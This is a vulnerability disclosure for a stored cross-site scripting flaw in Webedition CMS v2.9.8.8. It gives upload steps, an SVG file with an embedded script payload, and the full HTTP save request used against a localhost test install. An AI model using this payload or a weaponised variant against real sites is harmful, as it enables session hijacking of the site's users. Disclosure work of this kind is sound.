Webedition CMS v2.9.8.8 - Stored XSS

Exploit Title: Webedition CMS v2.9.8.8 - Stored XSS
Application: Webedition CMS
Version: v2.9.8.8   
Bugs:  Stored Xss
Technology: PHP
Vendor URL: https://www.webedition.org/
Software Link: https://download.webedition.org/releases/OnlineInstaller.tgz?p=1
Date of found: 03.08.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps
1. Login to account
2. Go to New ->  Media -> Image
3. Upload malicious svg file 
svg file content:

"""
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>
"""


Poc request:

POST /webEdition/we_cmd.php?we_cmd[0]=save_document&we_cmd[1]=&we_cmd[2]=&we_cmd[3]=&we_cmd[4]=&we_cmd[5]=&we_cmd[6]= HTTP/1.1
Host: localhost
Content-Length: 761
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://localhost/webEdition/we_cmd.php?we_cmd[0]=switch_edit_page&we_cmd[1]=0&we_cmd[2]=73fee01822cc1e1b9ae2d7974583bb8e
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: treewidth_main=300; WESESSION=e781790f1d79ddaf9e3a0a4eb42e55b04496a569; cookie=yep; treewidth_main=300
Connection: close

we_transaction=73fee01822cc1e1b9ae2d7974583bb8e&we_cea6f7e60ce62be78e59f849855d2038_Filename=malas&we_cea6f7e60ce62be78e59f849855d2038_Extension=.svg&wetmp_we_cea6f7e60ce62be78e59f849855d2038_Extension=&we_cea6f7e60ce62be78e59f849855d2038_ParentPath=%2F&we_cea6f7e60ce62be78e59f849855d2038_ParentID=0&yuiAcContentTypeParentPath=&we_cea6f7e60ce62be78e59f849855d2038_IsSearchable=1&check_we_cea6f7e60ce62be78e59f849855d2038_IsSearchable=1&we_cea6f7e60ce62be78e59f849855d2038_IsProtected=0&fold%5B0%5D=0&fold_named%5BPropertyPage_2%5D=0&fold%5B1%5D=0&fold_named%5BPropertyPage_3%5D=0&wetmp_cea6f7e60ce62be78e59f849855d2038_CreatorID=%2Fadmin&we_cea6f7e60ce62be78e59f849855d2038_CreatorID=1&we_cea6f7e60ce62be78e59f849855d2038_RestrictOwners=0&we_complete_request=1